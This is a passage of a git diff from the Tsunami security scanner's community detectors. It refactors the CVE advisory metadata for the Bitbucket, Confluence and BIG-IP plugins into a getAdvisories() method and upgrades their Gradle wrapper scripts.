detector.detect(targetInfo, ImmutableList.of(service)); assertThat(detectionReports.getDetectionReportsList()) - .containsExactly(TestHelper.buildValidDetectionReport(targetInfo, service, fakeUtcClock)); + .containsExactly( + TestHelper.buildValidDetectionReport(detector, targetInfo, service, fakeUtcClock)); } @Test diff --git a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/TestHelper.java b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/TestHelper.java index 6fafef4eb..299ce6ecd 100644 --- a/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/TestHelper.java +++ b/community/detectors/atlassian_bitbucket_dc_cve_2022_26133/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202226133/TestHelper.java @@ -22,11 +22,8 @@ import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.time.Instant; final class TestHelper { @@ -48,26 +45,16 @@ static NetworkService bitbucketClusterService() { } static DetectionReport buildValidDetectionReport( - TargetInfo targetInfo, NetworkService service, FakeUtcClock fakeUtcClock) { + Cve202226133Detector detector, + TargetInfo targetInfo, + NetworkService service, + FakeUtcClock fakeUtcClock) { return DetectionReport.newBuilder() .setTargetInfo(targetInfo()) .setNetworkService(bitbucketClusterService()) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_26133")) - .setSeverity(Severity.CRITICAL) - .setTitle("Atlassian Bitbucket DC RCE (CVE-2022-26133)") - .setDescription( - "SharedSecretClusterAuthenticator in Atlassian Bitbucket Data Center versions" - + " 5.14.0 and later before 7.6.14, 7.7.0 and later prior to 7.17.6," - + " 7.18.0 and later prior to 7.18.4, 7.19.0 and later prior" - + " to 7.19.4, and 7.20.0 allow a remote, unauthenticated attacker to " - + "execute arbitrary code via Java deserialization.")) + .setVulnerability(detector.getAdvisories().get(0)) .build(); } diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.jar b/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.properties b/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/atlassian_confluence_cve_2023_22518/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/gradlew b/community/detectors/atlassian_confluence_cve_2023_22518/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/atlassian_confluence_cve_2023_22518/gradlew +++ b/community/detectors/atlassian_confluence_cve_2023_22518/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/gradlew.bat b/community/detectors/atlassian_confluence_cve_2023_22518/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/atlassian_confluence_cve_2023_22518/gradlew.bat +++ b/community/detectors/atlassian_confluence_cve_2023_22518/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VulnDetector.java b/community/detectors/atlassian_confluence_cve_2023_22518/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VulnDetector.java index 411194fbd..1945d544e 100644 --- a/community/detectors/atlassian_confluence_cve_2023_22518/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VulnDetector.java +++ b/community/detectors/atlassian_confluence_cve_2023_22518/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VulnDetector.java @@ -18,7 +18,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.net.HttpHeaders.CONTENT_TYPE; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.data.NetworkServiceUtils.buildWebApplicationRootUrl; import static com.google.tsunami.common.net.http.HttpRequest.post; @@ -96,6 +95,28 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2023-22518")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2023-22518")) + .setSeverity(Severity.CRITICAL) + .setTitle("Atlassian Confluence Data Center Improper Authorization CVE-2023-22515") + .setDescription( + "This Improper Authorization vulnerability allows an unauthenticated attacker" + + " to reset Confluence and create a Confluence instance administrator" + + " account.") + .setRecommendation( + "Patch the confluence version to one of the following versions: " + + "7.19.16, 8.3.4, 8.4.4, 8.5.3, 8.6.1") + .build()); + } + @VisibleForTesting String buildRootUri(NetworkService networkService) { return buildWebApplicationRootUrl(networkService); @@ -158,21 +179,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2023-22518")) - .setSeverity(Severity.CRITICAL) - .setTitle("Atlassian Confluence Data Center Improper Authorization CVE-2023-22515") - .setDescription( - "This Improper Authorization vulnerability allows an unauthenticated attacker" - + " to reset Confluence and create a Confluence instance administrator" - + " account.") - .setRecommendation( - "Patch the confluence version to one of the following versions: " - + "7.19.16, 8.3.4, 8.4.4, 8.5.3, 8.6.1")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java b/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java index 3e210f775..fe9cb8bce 100644 --- a/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java +++ b/community/detectors/atlassian_confluence_cve_2023_22518/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202322518/Cve202322518VuLnDetectorTest.java @@ -33,12 +33,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -113,23 +110,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws InterruptedExcep .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2023-22518")) - .setSeverity(Severity.CRITICAL) - .setTitle( - "Atlassian Confluence Data Center Improper Authorization" - + " CVE-2023-22515") - .setDescription( - "This Improper Authorization vulnerability allows an unauthenticated" - + " attacker to reset Confluence and create a Confluence instance" - + " administrator account.") - .setRecommendation( - "Patch the confluence version to one of the following versions: " - + "7.19.16, 8.3.4, 8.4.4, 8.5.3, 8.6.1")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.jar b/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.properties b/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/bigip_cve_2022_1388/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/bigip_cve_2022_1388/gradlew b/community/detectors/bigip_cve_2022_1388/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/bigip_cve_2022_1388/gradlew +++ b/community/detectors/bigip_cve_2022_1388/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/bigip_cve_2022_1388/gradlew.bat b/community/detectors/bigip_cve_2022_1388/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/bigip_cve_2022_1388/gradlew.bat +++ b/community/detectors/bigip_cve_2022_1388/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java b/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java index 256833c19..5915c7977 100644 --- a/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java +++ b/community/detectors/bigip_cve_2022_1388/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetector.java @@ -107,6 +107,29 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_1388")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-1388")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE") + .setRecommendation( + "Update the BIG-IP installation to a version that provides a fix " + + "(17.0.0, 16.1.2.2, 15.1.5.1, 14.1.4.6 or 13.1.5) or implement the " + + "recommended mitigation measures to protect the affected devices/modules," + + " Blocking iControl REST access through the self IP address, Blocking" + + " iControl REST access through the management interface,Modifying the" + + " BIG-IP httpd configuration") + .setDescription(VULN_DESCRIPTION) + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { String targetVulnerabilityUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VUL_PATH; @@ -146,22 +169,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_1388")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE") - .setRecommendation( - "Update the BIG-IP installation to a version that provides a fix " - + "(17.0.0, 16.1.2.2, 15.1.5.1, 14.1.4.6 or 13.1.5) or implement the " - + "recommended mitigation measures to protect the affected devices/modules," - + " Blocking iControl REST access through the self IP address, Blocking" - + " iControl REST access through the management interface,Modifying the" - + " BIG-IP httpd configuration") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/bigip_cve_2022_1388/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetectorTest.java b/community/detectors/bigip_cve_2022_1388/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetectorTest.java index d5c1eca2d..664158ee2 100644 --- a/community/detectors/bigip_cve_2022_1388/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetectorTest.java +++ b/community/detectors/bigip_cve_2022_1388/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20221388/Cve20221388VulnDetectorTest.java @@ -29,12 +29,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -98,22 +95,7 @@ public void detect_whenVulnerable_returnsVulnerability() throws IOException { .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_1388")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE") - .setRecommendation( - "Update the BIG-IP installation to a version that provides a fix" - + " (17.0.0, 16.1.2.2, 15.1.5.1, 14.1.4.6 or 13.1.5) or implement" - + " the recommended mitigation measures to protect the affected" - + " devices/modules, Blocking iControl REST access through the" - + " self IP address, Blocking iControl REST access through the" - + " management interface,Modifying the BIG-IP httpd configuration") - .setDescription(Cve20221388VulnDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar index 2c3521197..1b33c55ba 100644 Binary files a/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/bitbucket_cve_2022_36804/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/bitbucket_cve_2022_36804/gradlew b/community/detectors/bitbucket_cve_2022_36804/gradlew index f5feea6d6..23d15a936 100755 --- a/community/detectors/bitbucket_cve_2022_36804/gradlew +++ b/community/detectors/bitbucket_cve_2022_36804/gradlew @@ -86,8 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s -' "$PWD" ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -115,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -206,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -214,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/bitbucket_cve_2022_36804/gradlew.bat b/community/detectors/bitbucket_cve_2022_36804/gradlew.bat index 9d21a2183..db3a6ac20 100644 --- a/community/detectors/bitbucket_cve_2022_36804/gradlew.bat +++ b/community/detectors/bitbucket_cve_2022_36804/gradlew.bat @@ -70,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java b/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java index 097013ad8..880c9e5dd 100644 --- a/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java +++ b/community/detectors/bitbucket_cve_2022_36804/src/main/java/com/google/tsunami/plugins/detectors/bitbucket/Cve202236804VulnDetector.java @@ -72,6 +72,28 @@ public class Cve202236804VulnDetector implements VulnDetector { this.payloadGenerator = checkNotNull(payloadGenerator); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2022-36804")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-36804")) + .setSeverity(Severity.CRITICAL) + .setTitle("CVE-2022-36804: Bitbucket Command injection vulnerability") + .setDescription( + "A vulnerability in Bitbucket allows remote code execution. An attacker with" + + " read to a repository can execute arbitrary code by sending a malicious" + + " HTTP request. Versions between 6.10.17 and 8.3.0 (included) are" + + " affected.") + .setRecommendation( + "Update the Bitbucket Server and Data Center installation to a version that " + + "provides a fix (7.6.17 (LTS), 7.17.10 (LTS), 7.21.4 (LTS), 8.0.3, 8.1.3," + + " 8.2.2, 8.3.1)or later").build()); + } @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -184,25 +206,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE-2022-36804")) - .addRelatedId( - VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-36804")) - .setSeverity(Severity.CRITICAL) - .setTitle("CVE-2022-36804: Bitbucket Command injection vulnerability") - .setDescription( - "A vulnerability in Bitbucket allows remote code execution. An attacker with" - + " read to a repository can execute arbitrary code by sending a malicious" - + " HTTP request. Versions between 6.10.17 and 8.3.0 (included) are" - + " affected.") - .setRecommendation( - "Update the Bitbucket Server and Data Center installation to a version that " - + "provides a fix (7.6.17 (LTS), 7.17.10 